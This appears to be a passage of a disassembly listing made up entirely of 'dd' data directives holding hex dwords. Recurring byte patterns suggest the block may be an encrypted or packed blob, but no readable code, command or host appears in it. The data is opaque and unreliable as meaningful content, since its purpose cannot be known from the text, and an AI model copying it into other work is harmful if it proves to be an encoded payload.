		dd 9470943Eh, 0C4A808BBh, 1B15A409h, 8B33DFA8h,	2A5DE7EFh
		dd 0AA268258h, 2D15A9Ah, 0DCB6F6BEh, 65029D59h,	7490B21Bh
		dd 0E80CACDBh, 0D2583186h, 90AA2743h, 0EACDB74h, 418B6672h
		dd 576C45BFh, 0EA10C19Dh, 4192410Ah, 0FDF2DB7Fh, 0FAD331D3h
		dd 5A46BEC9h, 4939236h,	0C4ECC264h, 64040120h, 7A495AC2h
		dd 438630Dh, 7D57C264h,	861541C3h, 58E8E48Ch, 0FFDAEB9Ch
		dd 6804B452h, 9730D46Ch, 0C67675F0h, 0D0192CAAh, 472119E5h
		dd 582D5A69h, 26FF509h,	2DD7FF5Bh, 5682FEC7h, 0B216E9AEh
		dd 7A000000h, 0A8B3B216h, 0A40CC263h, 63A82140h, 9A297AC2h
		dd 0FEDC27EDh, 23E7FEEAh, 0D5FECA5Eh, 0B6FCD52Fh, 0B6DAD6EDh
		dd 0E0083C9Ah, 0CA5E23C1h, 42FE891Ah, 2ED6025Eh, 0E68AFDD6h
		dd 0D25858F0h, 0F64DDE5h, 47653A35h, 63CC849Bh,	0FFD4DDC2h
		dd 0E206AA98h, 0C263CBC3h, 852C881Ch, 5306F793h, 5B15380h
		dd 986787BDh, 0C92DB3FAh, 0C263469Ah, 0DFF5DEF3h, 0DB240C6Fh
		dd 0A6E1999h, 0C26357D7h, 1A2AC17Ch, 5D48F28Ah,	9700D030h
		dd 6F53E776h, 6E9B902h,	0D1735B4Ah, 8F876603h, 733CB842h
		dd 0F3C83760h, 0E8000001h, 41A54884h, 0C263D222h, 0EA9D267Bh
		dd 26AE122Ah, 0C62DCCEAh, 0F3F2F662h, 0ACA5E1Ah, 0F6CF35CFh
		dd 60A0E7BCh, 30A3CC75h, 5E760492h, 0D26F7662h,	0FBC8CA5Dh
		dd 86502CC8h, 0B69A867Eh, 4009EB19h, 41AE2957h,	59576C96h
		dd 0E292549h, 0A4F3F581h, 1CD1FCD8h, 5E1CA9B8h,	0ED17C0CAh
		dd 0E9C7FCC5h, 69644D85h, 3F941DD7h, 0EF9BECC5h, 0C30F6B4Fh
		dd 6F2BB39h, 0CA5E1BDFh, 9560AA4Ah, 0D9D9B179h,	2A3341C9h
		dd 0F6CD50A3h, 785E791h, 0D702CA5Eh, 8A20572Eh,	0F4DFD475h
		dd 4DF7E21Eh, 0B8C30BA7h, 0E056B599h, 3E95AF23h, 0C4F5682h
		dd 1BA8CA5Eh, 0A4C4966Ch, 5E0C2140h, 9A297ACAh,	11983A16h
		dd 0F1BA3AC0h, 0FE8922E2h, 2AB89642h, 0F5BDD258h, 150C6A6Bh
		dd 26148349h, 73DB209Eh, 0CCB4E718h, 2A030103h,	9F331799h
		dd 0A2D83265h, 0EA12C018h, 0A4C7D7D9h, 43E8922h, 0BBDFE1A6h
		dd 0BBECF3DFh, 2945C263h, 574093A9h, 60FC58A1h,	506703CAh
		dd 2951ED6h, 4C536C38h,	123F9802h, 0F0E3616Eh, 0E5B900D0h
		dd 0D1BBBB30h, 0BA96FAC6h, 420BE923h, 9371933Eh, 23ABCDBAh
		dd 30103CEh, 0C569992Ah, 0E0EE4FFDh, 1DC98126h,	0BA668406h
		dd 3F81525Fh, 66848C93h, 0ABDCE5BAh, 4F001CDh, 0BA6683DDh
		dd 86BE1A36h, 491B863Dh, 8CCEA9EFh, 1A464734h, 844C0000h
		dd 686A867Ch, 0AB423ED4h, 745DA171h, 923C44CEh,	8CB6A072h
		dd 0CF60EC8h, 0AA58E8E4h, 7FB09C6h, 0C052ECE7h,	203FA319h
		dd 79C25D7Bh, 6E1217DBh, 70F1E361h, 0B99E09C5h,	577F8106h
		dd 10C4785Ah, 6F3FCAE8h, 50706348h, 9D622680h, 653257E2h
		dd 566509A5h, 88F18DCh,	2D0DDF8h, 0A231FAFAh, 0CFDE821Eh
		dd 7C7CA355h, 0EFD3CA5Dh, 0CA5D7BF0h, 693A7849h, 0B0CC741Eh
		dd 52DB1923h, 0AE124F45h, 5E241B4Ah, 615F74CAh,	5E246E75h
		dd 8DFAC7CAh, 0DAD6E375h, 48AC5876h, 8428187Fh,	24A5BC28h
		dd 62FECA5Eh, 8FF8CB71h, 5858EBE9h, 18BCE0D2h, 0C263EE09h
		dd 7C465162h, 73398927h, 3A957CA7h, 2C087423h, 797B8550h
		dd 0E11E7B0h, 2DC263CEh, 7864A0A2h, 0DB5FA55Fh,	5B758564h
		dd 51824BA9h, 6B6509B5h, 0B437AED9h, 53EDE884h,	0C2E105B1h
		dd 1BC263CDh, 3B4A3D86h, 26FD32Ah, 0AFB6227Eh, 8C263CAh
		dd 0AC2BCCBBh, 8D000001h, 975DE7F1h, 16EE10BBh,	1B01863Dh
		dd 13AA07D2h, 6A06AA19h, 39C3D468h, 8E95415Dh, 0E7CA5E24h
		dd 3CBADDAh, 0E32123AEh, 9F7B794Ah, 23C8D7FBh, 9021CA5Eh
		dd 385FD9F0h, 5E296EC0h, 834F2BCAh, 4C18C17Ah, 0B90A2A1Ch
		dd 0A27B2CEh, 5D67C7DEh, 409320CAh, 0A9B81C80h,	2CA5D68h
		dd 842CE6B1h, 0D3FFEAE8h, 0D102CB29h, 0C7D69A33h, 933E3A4Dh
		dd 0C3A79371h, 60A2F50Fh, 0B56F7EDAh, 634D764Fh, 68849B47h
		dd 0D4DDCA5Dh, 0F599F5C3h, 5D67D2D1h, 56ECE9CAh, 24AD159Eh
		dd 9D3A86B0h, 4047BFF7h, 5782D2B8h, 0FB3D7D2h, 0C2634610h
		dd 932F5869h, 985CE6EBh, 0DC66710Fh, 7C448F18h,	46ADB420h
		dd 0FC18C263h, 9289436Ah, 23743D85h, 2BA3C767h,	4552DB19h
		dd 0B21B7B3Dh, 6073913Dh, 0F8B80BA4h, 2BC97B54h, 6743F5A2h
		dd 86621557h, 0E40CB84Ch, 0AB45526Bh, 0CA613679h, 6D357B48h
		dd 3CB48Bh, 0B7890E8Fh,	0A7093B93h, 78C0DF03h, 8819BA66h
		dd 636B93FFh, 40C4408Eh, 6D455C67h, 68CEA9FAh, 1812EB08h
		dd 0B8180000h, 646E9280h, 0BF4E32E0h, 60718D85h, 8E4828DAh
		dd 98BA8C76h, 20F212BCh, 0B64CF4E0h, 1BE71DBAh,	0BC46F8D3h
		dd 1C43AF0Dh, 75C25D79h, 0C2121BDFh, 58B6A5BBh,	0EB0D7AB7h
		dd 7BAA4EE3h, 0D4CA5E23h, 0D0ECD4FFh, 5E22FD24h, 8E3A56CAh
		dd 0CA5E2397h, 0A7F0E3F0h, 902743EBh, 0C2D55E96h, 7961BB6h
		dd 0F139B70Dh, 5AAB483Eh, 94234769h, 94708A47h,	2EBC08BBh
		dd 85663DF4h, 0BD811176h, 0E70D37A1h, 1263395Eh, 20CB25C2h
		dd 0A9C73491h, 7583142Eh, 704CA85Ah, 0B73DC70Ch, 7C57A9EEh
		dd 4F3852C3h, 8634B35Fh, 7A30A4CDh, 0CF4390A6h,	7B1B1FB9h
		dd 0F415C893h, 0C4E8C8FBh, 5D650120h, 3E495ACAh, 91421E82h
		dd 0F6541C6Bh, 0FBD2578Ch, 2ACA745Fh, 784CF6A1h, 46A88521h
		dd 422A6D17h, 882BEADAh, 16AD5782h, 4F6B47ADh, 7B9D067Fh
		dd 6D7B60EFh, 0C263BB76h, 0DB9502CFh, 0C263BAC1h, 0B153F1DEh
		dd 0F8FC36C5h, 2F1CBF46h, 6DCD0CD7h, 7540C511h,	9626C07h
		dd 0A11C310h, 0FEDE6397h, 4918ED9Ah, 1B026FA4h,	8B69933Fh
		dd 0C822D5C2h, 8600000Fh, 9B59D3EAh, 128F8512h,	35308C2h
		dd 87100394h, 0BDA1B583h, 3710F42Eh, 5DC8B2B1h,	0EB60BCAh
		dd 57E2ED6Fh, 0FEC21114h, 3AD17462h, 0DE211312h, 7F41467Dh
		dd 5E13931Bh, 0BCD27970h, 0B7E0F32Dh, 57638741h, 388C14D2h
		dd 0C97B53D4h, 0FD32A22Bh, 0D2701709h, 21DB0AEEh, 0C632C263h
		dd 0C263229Fh, 0BA07ABF8h, 0BC3A709h, 4E32FBF9h, 0A67F85BFh
		dd 0D37723E1h, 26DCF5FAh, 0B2CE05CEh, 276211Bh,	0C26321DFh
		dd 1BB89484h, 0AC2FB6E1h, 37E9448Ch, 21E77BE8h,	0BDCA745Fh
		dd 6E3999C8h, 448FEB02h, 26713ABAh, 0F1E59h, 0EFD3B700h
		dd 0C26273F0h, 8D35CF07h, 749EC531h, 0AAF7C262h, 12AE6E19h
		dd 23E1636Eh, 3305FD8Ah, 4CEB2727h, 0DDF9405Eh,	0CF04CD27h
		dd 36A0BC04h, 135DF60Eh, 41FF88BAh, 0B31D415Dh,	0EDA7391h
		dd 0CA5D3517h, 0BC346370h, 0D2574AA2h, 0D24C5BFFh, 0B599F5C5h
		dd 0E6FDEB19h, 3FC2631Fh, 206C735Fh, 0FCC5C263h, 98B4FCC7h
		dd 65EE063Eh, 0D2EECA32h, 631FFF26h, 3C4B58C2h,	6320A9B4h
		dd 9F0AC8C2h, 39BB0832h, 0F28EB41Dh, 14995BE1h,	0C63212C9h
		dd 0C263209Fh, 0DE18ABF8h, 96425E42h, 0C263208Fh, 160DDBE8h
		dd 6FC26320h, 90B41E62h, 0BB7B5E07h, 208683F3h,	0FEC22C8Ch
		dd 6246CBDAh, 88F24C2h,	6E5C5405h, 60842802h, 0C2624F41h
		dd 17E099Ah, 0E4Bh
		dd 48577B1Fh, 0A1C2624Fh, 0E2F113BDh, 0C212DFB5h, 1196A59Bh
		dd 0C30D7378h, 9DEAC341h, 0FABDDA0h, 51A95CBFh,	0B8400F68h
		dd 0CA5D7AA9h, 0A4E6B102h, 23AB1516h, 381783DAh, 2D0B7C6Eh
		dd 63E1ED91h, 0E61CB5A1h, 0F28E450Eh, 0BA460E4h, 5AF47Ch
		dd 73D7D258h, 854EA658h, 24882812h, 63D5A1C0h, 3FA9FAC2h
		dd 0C263D520h, 0D5544B77h, 24ADC263h, 0F12BC29Eh, 0FFCFF1E2h
		dd 0C5312ED0h, 0C2635E9Eh, 571AAAF7h, 8BF6A196h, 78DA1DA5h
		dd 7E06522Bh, 0D255F19h, 0DE7C4E79h, 0DB64E8Ah,	5C761BA3h
		dd 0EBD9636Fh, 1483BED7h, 0FCC6C024h, 77D33E48h, 4CF6A15Bh
		dd 5B99AB24h, 9BBF01D2h, 17B0C36h, 18568D15h, 2AA499C7h
		dd 0D55E96AEh, 0E77199FEh, 0C1FC23CFh, 4C552E54h, 4D553977h
		dd 0FBC0EACFh, 5C9DF2A3h, 7F2F7938h, 59886C54h,	0B22E54B4h
		dd 72027621h, 0AB364EEFh, 47120A23h, 4D3A0D56h,	3BC1116Dh
		dd 24D0F0B9h, 265A9FFDh, 3A764D56h, 6151B66Ah, 3B4CB494h
		dd 953D217Dh, 0FDD8286Fh, 0A55FD9F0h, 55F9B70Ch, 4DBDCA78h
		dd 8C49A631h, 65607F63h, 0E8B9265Ah, 97B9E8DBh,	3E62B608h
		dd 141EF9E6h, 0AC240000h, 50827E94h, 831A56ACh,	5C757989h
		dd 0BA145CA6h, 0A4CE788Ah, 0F41E26B0h, 0D240C00Ch, 0EF2321AEh
		dd 0C83AC40Fh, 817BB01h, 61C25D75h, 0AE12EF03h,	5E241B4Ah
		dd 0A0A432CAh, 0DAE7CB64h, 0AB00CBADh, 4AE32123h, 5A9AAA26h
		dd 160202D1h, 90941D8Eh, 23BADEB7h, 91420BE9h, 0E2360406h
		dd 1FA84CF0h, 59700CB4h, 0A408B8DFh, 2FEAE01Ch,	3B4CAA38h
		dd 5E3DB3B5h, 745E02D2h, 289B34D0h, 5AEAE488h, 0F1737256h
		dd 0F7CCC25Ch, 763E0290h, 3E9349F0h, 83ED9A3Fh,	0C25D2388h
		dd 23445B87h, 149DC25Dh, 399D01BFh, 0C25D232Ah,	2A692E83h
		dd 82668B46h, 0C25D2363h, 26DCE7BCh, 0A3C2268Ah, 0FCC25D23h
		dd 12AAE0A7h, 0DAE923BAh, 170EBAD6h, 70C25D23h,	2FF27064h
		dd 8A39C425h, 0FB5F3BFDh, 5F832DD7h, 0C25CC340h, 0F97F0899h
		dd 0C25CC2F2h, 0C5FD673Bh, 0D03B6A8Eh, 3F94C25Ch, 4A1DEA95h
		dd 0BE133779h, 0C9A78084h, 3912F208h, 0FCAB64Eh, 0E80C30A2h
		dd 844C745Fh, 4A497DCAh, 834E329Ah, 0DDAA8381h,	0E4ED912Dh
		dd 0F80EA65Eh, 7D826BC3h, 7EF2A52Eh, 0C25C4073h, 202CEB2h
		dd 856A6395h, 6F38BC76h, 4A545C64h, 0ADCE29A7h,	3D0191F6h
		dd 35D89475h, 0F28E046Eh, 48385FE5h, 8CB4208Dh,	0CCF4DF68h
		dd 6ADD04F0h, 6D36C25Ch, 0EEB6621Ah, 95B58A02h,	0EE2B5F2h
		dd 0C25C3213h, 659FA532h, 638F5879h, 0C25C523Ch, 3DB70C95h
		dd 61E1F88Bh, 5C526E75h, 0C9FAC7C2h, 0A0446804h, 0C25C5281h
		dd 27BEC9DAh, 0FAD874C4h, 0A8235542h, 0EE8A1A96h, 19B959B2h
		dd 747C1681h, 0C97B5459h, 0D331A22Bh, 0B74983E7h, 63F528D0h
		dd 0BF14C25Ch, 44537F85h, 2DB82ACAh, 9347A1AEh,	97FA2A0Bh
		dd 514B4CFh, 38A56478h,	3E277063h, 7B705B9Bh, 79FFB152h
		dd 3D5AF718h, 0EEE56E86h, 41CD02D2h, 0F7331148h, 0AD160DB9h
		dd 626FC25Ch, 75D9D535h, 9EE1A65Ch, 2C1h, 0D0745E02h, 6E12D5C7h
		dd 861FE55Fh, 2AD4FF01h, 57EDEA86h, 0D8E8D430h,	34575C90h
		dd 0E201E5ECh, 3BCA5DC3h, 84135D66h, 0D2FBFD8Ah, 0C4AAB91Dh
		dd 0AE03CA5Dh, 6A139B25h, 0E3B1C749h, 896B9142h, 0F88413C0h
		dd 5E154D54h, 31C8A4CAh, 6334FDF7h, 2888BA15h, 15416084h
		dd 99ACA5Eh, 361A067Eh,	0E81A6DA7h, 3E994A52h, 5B29DD84h
		dd 80644868h, 0CA5D8861h, 0A29EE9BAh, 5E2E3436h, 0F1DD81D2h
		dd 6F18B153h, 1F21ABD3h, 0F7CC7661h, 0B38B7AAAh, 0DCF95BC6h
		dd 1174h, 70A25A7Ah, 48BA4290h,	6B979128h, 5EB44E83h, 8290B422h
		dd 34A2B2D4h, 0D2FE0210h, 37A0E032h, 0DEF9F50Dh, 556BEE24h
		dd 5D727271h, 0E9A9CBC2h, 0E1636E12h, 0F50FCAB6h, 1A24AFCBh
		dd 2CC87C56h, 0AC88F4A3h, 8AFD07D0h, 25D1606Eh,	0CA5E23FEh
		dd 24727155h, 0F6CBCA5Eh, 0D4DCE7BCh, 0F3A45C78h, 1EB39797h
		dd 0E9F8DCE4h, 42CA5E23h, 0FDDA2671h, 0C92BE5F4h, 1F7FD400h
		dd 0E1280F5Eh, 1BB2CEF2h, 2C339F21h, 85CA5D86h,	0FFBF4B3Ch
		dd 35CF715Bh, 666F289Ch, 0EA5F8896h, 7B705B9Dh,	0F121B26Ch
		dd 0EA61854Dh, 56509CE2h, 7D874F31h, 0D3FF9B77h, 0CA5DF5CCh
		dd 6E54EEE3h, 88463265h, 1910887Dh, 0A330CDE8h,	6F95411Dh
		dd 31CBBC95h, 797B8945h, 0ABD0755Dh, 92A382E4h,	8F4EA61Dh
		dd 2576D316h, 48F2DF7Bh, 31B123ACh, 139C4AC8h, 85640186h
		dd 33999B5h, 215F2801h,	4D318FB5h, 75158280h, 7057E9B9h
		dd 6753F100h, 0D133C909h, 0EF7E8FF8h, 0C10595B4h, 0E6EAF9DDh
		dd 6E43CA5Dh, 4A3DC712h, 18ADh,	0C5D1E700h, 0EF000001h
		dd 70D52DFh, 0FCE8EB97h, 0CA5E23E5h, 395E753Eh,	626E1263h
		dd 9BA448Fh, 5A57827Eh,	0FDE9C77Dh, 0CA5E23E6h,	0A361723Fh
		dd 0C77953F7h, 0DC1812A9h, 0B1AC4453h, 0D0CA5E34h, 0DBF7FD07h
		dd 0A7324EF0h, 0BD2579Dh, 0B96583D0h, 0ED073D95h, 938D1C64h
		dd 36AFD871h, 0BF3B83B3h, 231CCA6h, 4D88781Fh, 2ACA7260h
		dd 0E0E032A1h, 0E4B36D7Ch, 0D2F63B94h, 0CA5D2CD3h, 2DA7BE2Ah
		dd 0B300CA5Dh, 0DC666F0Fh, 90448F18h, 4D7C6D25h, 0C8E8DB16h
		dd 2FE100E4h, 163ACA5Dh, 0E26B89BBh, 42DEA6F1h,	6F958F1Eh
		dd 30001FC3h, 4859CA5Dh, 3A640C7Bh, 57CA5D30h, 1743C17Bh
		dd 537F85BFh, 0A42DC779h, 222FAA33h, 319CC060h,	12F212BCh
		dd 60FD8A39h, 0F1D5B989h, 0CA5D2FF2h, 607F634Bh, 0B9CA5D30h
		dd 0CCACDBE8h, 0DB0AEE03h, 46CA5D2Fh, 2B276724h, 5E734F56h
		dd 0A32F4B75h, 9CA4EE99h, 9BEC14C0h, 42C21279h,	0A6B33DA0h
		dd 8B50AC4h, 0A23B94BCh, 39CA03F5h, 8E2FB326h, 8F31A2A9h
		dd 395EE0EBh, 428BEFCBh, 0F3E0626Dh, 0D7C0428Dh, 34C32CA9h
		dd 0EF152FA7h, 0BE876D56h, 5D23AB15h, 968F9A9Fh, 2A56AED9h
		dd 0C36F95AFh, 5DEA001Fh, 284859CAh, 0DE5D9791h, 0D4C78467h
		dd 0A603D0ACh, 0DCAB182Ch, 0F65AEA01h, 4CD27DDh, 87686593h
		dd 764FB54Fh, 0CC07634Dh, 9A56532h, 4C6FBB9h, 0E2B59A37h
		dd 5D67B00Eh, 0BB95E8CAh, 9905954Fh, 9FE81AB5h,	0FFFCB1E0h
		dd 0B01C40FFh, 0ACDB7490h, 4AAE12E8h, 0CA5E241Bh, 0B0215F74h
		dd 0B6E16A8Ah, 782C9h, 0FBC3E700h, 0CA96BD09h, 0A5BC2CAAh
		dd 0FECA5D43h, 103CBB5h, 375D2A03h, 0FEEA07D2h,	0CA5E23E7h
		dd 60607340h, 6532D2FCh, 755FFB97h, 0F7A029CBh,	5E246E81h
		dd 0E3616DCAh, 6A983521h, 0CD0C998Ah, 4B8E5780h, 0B8428FEBh
		dd 1C26B1CFh, 0E21AB894h, 94FE8922h, 0AA07D0ACh, 46BE152Fh
		dd 809F436Dh, 0D9CA5E24h, 16C1BFC8h, 2BA8C4ECh,	0AB075012h
		dd 0A61DBDF1h, 6A12854Eh, 0F9B206CEh, 0C69FA635h, 0CE3437C1h
		dd 0D773CA5Dh, 245443FDh, 416084A9h, 9ACA5DCEh,	0CDD3D2F6h
		dd 972CCA5Dh, 0C15D972Ch, 14FA7BF1h, 0B8DFB781h, 4F008D2h
		dd 0CA5D71DDh, 0CF036D36h, 0CDF6CF35h, 0B34D87E3h, 94B8D4E4h
		dd 0F8800739h, 0D25E17EEh, 8AB0213Dh, 0A2326839h, 41A3C6B3h
		dd 0DC314h, 0F10BC900h,	4FF5DD21h, 0F22CBBC3h, 49F3E020h
		dd 0EB19B5B9h, 4F052D17h, 69857D87h, 413DD56Fh,	5CA46E94h
		dd 9443CF71h, 6EA5BC28h, 68FEC25Dh, 4AAE1294h, 0CA5E241Bh
		dd 48385F74h, 8AB3208Dh, 0E63333C8h, 2D102DCh, 0EFF6E2BEh
		dd 48CA5D60h, 0C4700C7Bh, 35C411A8h, 2BA8C8FBh,	2D5AF311h
		dd 0CE82834Bh, 8E2C4960h, 14F02AC1h, 0C73B883Bh, 1FC3E7h
		dd 59CA5D60h, 96413F48h, 0A9A966Ch, 60F75A8Ch, 0C5B3E442h
		dd 2EFBFC09h, 8D679D36h, 5D1110C4h, 0F8545C67h,	48E123DDh
		dd 75D9C53Fh, 4722AB58h, 0A87FD44Fh, 4750D91Bh,	70549D39h
		dd 0CA5E1671h, 182CA6CAh, 0B49818ABh, 4AB2E51Fh, 8E432759h
		dd 9F3A2374h, 0F113BB9Fh, 0B57C5AA6h, 5E161211h, 81576BCAh
		dd 845546D3h, 59576C57h, 0CD27DDF5h, 37F79304h,	11706F53h
		dd 0F8C9CA5Eh, 92EF7E8Fh, 9DC10595h, 5CF50F35h,	5A9CC2Bh
		dd 12C80000h, 0ADF8B2C2h, 0A4F3ECC3h, 1ABEDE5Eh, 0CA5DFE0Bh
		dd 3C844F64h, 688AB320h, 0B39AD389h, 0C23A4D76h, 4C4A010Eh
		dd 7A8A44C9h, 0D0745E7Ah, 0AD2CA534h, 96BA66A0h, 0D6CDF938h
		dd 2FCB6E4Bh, 0FAD331A2h, 2919D08Dh, 7B678845h,	0CB6E4C64h
		dd 0A1DFF4BDh, 897C0B31h, 0FB7A59D8h, 41C924ACh, 0B6AA508h
		dd 541FB7Ch, 12F90000h,	0B7E0646Eh, 0BE0207D3h,	0E90B31A2h
		dd 5D893760h, 0CA5E2446h, 0EE14C19Dh, 4F733D16h, 0CA5E2450h
		dd 0D36F18A9h, 23D807EBh, 0A031CA5Eh, 76705734h, 0EBD83A36h
		dd 85512D09h, 2B60187Fh, 6EC94C37h, 3824E064h, 0DB8D67A1h
		dd 42C49148h, 26DEFA56h, 0A2658461h, 0FB7A6AB3h, 52E6BD05h
		dd 3A67FF7h, 4D9E394h, 12210000h, 241B4AAEh, 5F74CA5Eh
		dd 858A5238h, 8CB51F3Bh, 90495EDAh, 0A94B78C4h,	0E5C97720h
		dd 0CFB87289h, 5D9EFE29h, 0A6314DCAh, 2F4FEB9Ch, 7B579DA7h
		dd 7952B26Ch, 6382664Ah, 0BCCA5D9Fh, 0B8D4DCE7h, 5D9F150Ch
		dd 0A6526ECAh, 0CA5D9F7Fh, 8FF8CBD8h, 9E4C81F5h, 788FC94Ch
		dd 0BE1A46BEh, 76EF6E86h, 8020D673h, 0A0A9B81Ch, 0B102CB6Eh
		dd 9FBCE30Fh, 8C15CB6Eh, 0B78762FBh, 9FF0EFD3h,	0CC07CB6Eh
		dd 0FA449032h, 0F94BF9DEh, 769700D3h, 0FB7AE1E7h, 0DB9D5B9h
		dd 0CB6EBC16h, 8F96626Fh, 0A6CB6EBCh, 0C951D17h, 1BD96B64h
		dd 28720592h, 96000004h, 0B3E91CBAh, 0B2535C08h, 7952B221h
		dd 0C2120E0Eh, 0D2003B59h, 0D301CA2Ah, 0DAAD1BD1h, 0AE0814A8h
		dd 0EC16C1EFh, 0B1953F08h, 0FEC211A8h, 0C9CE7662h, 0CBF793F7h
		dd 0CA5DDFD4h, 7DF3A42Dh, 0CA5DE06Eh, 0F6EDD9B5h, 4FCA5DDFh
		dd 49251582h, 0B68F758Fh, 0DFD7CEFAh, 0A330CA5Dh, 51409030h
		dd 43EA485Eh, 613DC7D0h, 8022A751h, 0EE99BF23h,	4CC8458Ah
		dd 647188C9h, 921BD96Bh, 0EBD7C341h, 0CB6EC9F4h, 0D7FC844Dh
		dd 23ABC72Dh, 904AE321h, 0A826D615h, 4CF589Ch, 0A33A1602h
		dd 0A4471E69h, 0EBAD0C94h, 0DFD7E41Ch, 0C7B48F2h, 7A3E68F9h
		dd 3757BFBh, 19D0000h, 6E6CCED5h, 0ED9A27CBh, 636E1227h
		dd 0FCAB6E1h, 23EFF6E2h, 7C48CA5Eh, 0BB80D9F1h,	31A23160h
		dd 3C353F8Fh, 6C53422Ah, 5A75611Bh, 40A408A8h, 0CA5E1E21h
		dd 0B3B2167Ah, 0CCA5E1Eh, 0F7B0CB7h, 38678B2Fh,	91CA5E1Eh
		dd 0A5335740h, 41C400A5h, 4D764D7Eh, 849B4763h,	0DDCA5DDAh
		dd 54B06A81h, 813F487Bh, 57F11B55h, 6574D8D2h, 0D5DEDCABh
		dd 0B9428FEBh, 0C184357Bh, 3943F5Ch, 10C19D79h,	56410AEAh
		dd 63637FA2h, 14309EC2h, 36CE04F0h, 0EDECF9BEh,	0F6903D61h
		dd 992A3988h, 3303E65Dh, 73746B57h, 438BC263h, 486A43C1h
		dd 68F90C7Bh, 7B026F30h, 97h, 1163159Dh, 0B6510BC4h, 0ACDBE81Ch
		dd 0F1C212E8h, 3B3FEC37h, 0CE053F9Ah, 0F3F7C1C9h, 3A6EBAD1h
		dd 0D9D7EC15h, 411211B5h, 566BCA5Dh, 4F2B8F31h,	58876BB8h
		dd 0B1CA5D41h, 0CE4B320h, 0D2577646h, 6C735F3Bh, 0C5C2630Ch
		dd 22AF8BFCh, 0EF15C29Eh, 7040DCA8h, 0F1B8E621h, 0E890F7E0h
		dd 0C26269B5h, 0BF45FFD4h, 0EC083A93h, 0EE5B7E67h, 8F442818h
		dd 0D1B68F75h, 5D65D514h, 2ED94C08h, 7C91F6F9h,	26EDBEDh
		dd 0E8F7DBBFh, 41C262D1h, 4192B01Dh, 188A956h, 12E30000h
		dd 0B6E1636Eh, 31A20FCAh, 0EEE51FB8h, 13BFDBE5h, 0CA5E240Ch
		dd 24607F63h, 0E8B9CA5Eh, 0F68EF9CAh, 9BA9264Ah, 0B9C7D059h
		dd 0A5C9E71Dh, 53DC182Ah, 80DCB844h, 9BDDAA52h,	0ED17BB30h
		dd 2DCADAD6h, 174618FBh, 9581FB8Ch, 0CE822B9h, 0A9245443h
		dd 1E7BA98h, 6C579DDFh,	95AF2844h, 61B1D66Fh, 2CD6015Dh
		dd 0E098FFC8h, 0CA5DAD8Eh, 5C836F4Bh, 0B5CA5DA4h, 725D9BECh
		dd 0B4CCDBD1h, 0E1F2C5D4h, 0E07CCFDFh, 3C5E6451h, 0AFFFBF4Bh
		dd 4AE8599h, 39513690h,	0E1E69B9Fh, 33201633h, 50847B68h
		dd 764D5D77h, 8BB9163Ah, 0FC603CFCh, 0F9D232D2h, 62FEEA8Eh
		dd 0EBCFD25Ah, 5FE7D807h, 0F7A031C2h, 607F634Bh, 0B9C25FE8h
		dd 0F1D5DCE8h, 0CF4CEA4h, 0F995F9B7h, 1614EDA9h, 9D4BAEE9h
		dd 0C25F8086h, 0B3C5D2DFh, 0F7C7E91Bh, 42A6E935h, 0C25F6E23h
		dd 5C9D277Ch, 0AC4AC3Dh, 41FD8DFAh, 6C73D371h, 9B417F92h
		dd 0D97994C0h, 5D9BECD7h, 0AB558071h, 5E538049h, 0C6B0E74Ah
		dd 1D4C298Bh, 23000008h, 7F7F93ADh, 1559A953h, 7A768C86h
		dd 8F6FA359h, 7F45BD47h, 33D1FD57h, 0B359FDFh, 24DEF7F7h
		dd 3DC712EEh, 1ABE02C5h, 0C25D690Bh, 12F20264h,	22E2626Eh
		dd 0D402FE89h, 24AAB91Dh, 0AE03CA5Eh, 0FE139B25h, 71575B29h
		dd 0CAF903D0h, 0D714DBDh, 295740C2h, 0FF8495AEh, 0B996F9E5h
		dd 9CAA60Ah, 4F3811F3h,	6E12D7C3h, 0CAB6E163h, 78D2E20Fh
		dd 0FE3553DAh, 0D1B8E711h, 1023CA5Dh, 0F70A4D77h, 0D8EBB8FAh
		dd 0F1DC801Ch, 9D38484Fh, 0EDE6C310h, 0BF149D57h, 84BE1945h
		dd 0A9F3854Fh, 2DE68F74h, 248A1A96h, 0F5068F14h, 0E1DD2D5Ah
		dd 617C88D1h, 0BFC8EB10h, 5D472739h, 0BC2884CAh, 0CA5D47A5h
		dd 0A0E2B5FEh, 1FAF111Ah, 33BBF686h, 68583F9Fh,	8D577C44h
		dd 0E6C524E6h, 0E3B4488Ah, 577B330Dh, 0A32C50D2h, 0BDCA63A1h
		dd 10BDA1FDh, 0AF3912F2h, 0C26315B0h, 0A50BB809h, 8FF832C9h
		dd 0B31F3B03h, 121EFE89h, 241B4AAEh, 5F74CA5Eh,	208D4838h
		dd 544B77B2h, 0ADCA5E24h, 7C55AF24h, 0A1456947h, 0CA5E2482h
		dd 0AB073D99h, 0E7137116h, 2FE8FFECh, 3AE466CFh, 0F8CBF804h
		dd 8B56E8B8h, 5E14CDFDh, 6CE51FCh, 3ADED2Bh, 5DF5C0DFh
		dd 0FF8819CAh, 83E37593h, 0A60AB94Bh, 0DC68660Ah, 0CEB45ABh
		dd 0C4A8D258h, 0B38FF808h, 5646211Fh, 943F095Dh, 2AA8C470h
		dd 1759F212h, 621681BBh, 0C263A03Fh, 34D0745Eh,	92728A48h
		dd 0B79457CEh, 0ECFB5F3Fh, 61786532h, 6F05BFAEh, 656D1102h
		dd 0E48C25DFh, 0CA2D5AEAh, 94h,	7106E6EEh, 0AFDDC7C9h
		dd 15EED425h, 9700A4A0h, 4AAE1285h, 0CA5E241Bh,	52385F74h
		dd 213D8388h, 669E3AB7h, 890E975Dh, 0E7B7D3B7h,	0AAE8E243h
		dd 79A85034h, 0D2CA5E18h, 0F4E29601h, 0EBD2584Ch, 0E2001FC3h
		dd 4859C263h, 3E95AF28h, 4FF5DE82h, 7CE0BC48h, 7851B36Dh
		dd 0E236690Fh, 7D55C263h, 85512DC7h, 35B0857Fh,	0C15D99B6h
		dd 880F359Dh, 623EFEDDh, 63E26F76h, 8CFBC8C2h, 6FC7E879h
		dd 202FB02h, 411D0000h,	0A0446C96h, 0C263D681h,	0DEBEC9DAh
		dd 0DFE07D2h, 6046A058h, 2E667D69h, 0F2BFCA5Dh,	0F2CEF2E1h
		dd 2DFB2ACEh, 7F54CA5Dh, 5D2E6A79h, 92EEC3CAh, 6D46BE46h
		dd 0EEB6621Ah, 456687B3h, 68690763h, 1BB3C5D2h,	4B2F0BE9h
		dd 0ED0B7C86h, 3FC50DE2h, 0D9D7ECC5h, 0DEA95B75h, 0FCD67A26h
		dd 657C6848h, 0BECA5DB9h, 7B56A2F5h, 4F83E7C9h,	8828E2B5h
		dd 706D6938h, 0DD092286h, 0CA5D6DC6h, 5641921Fh, 5D7350A2h
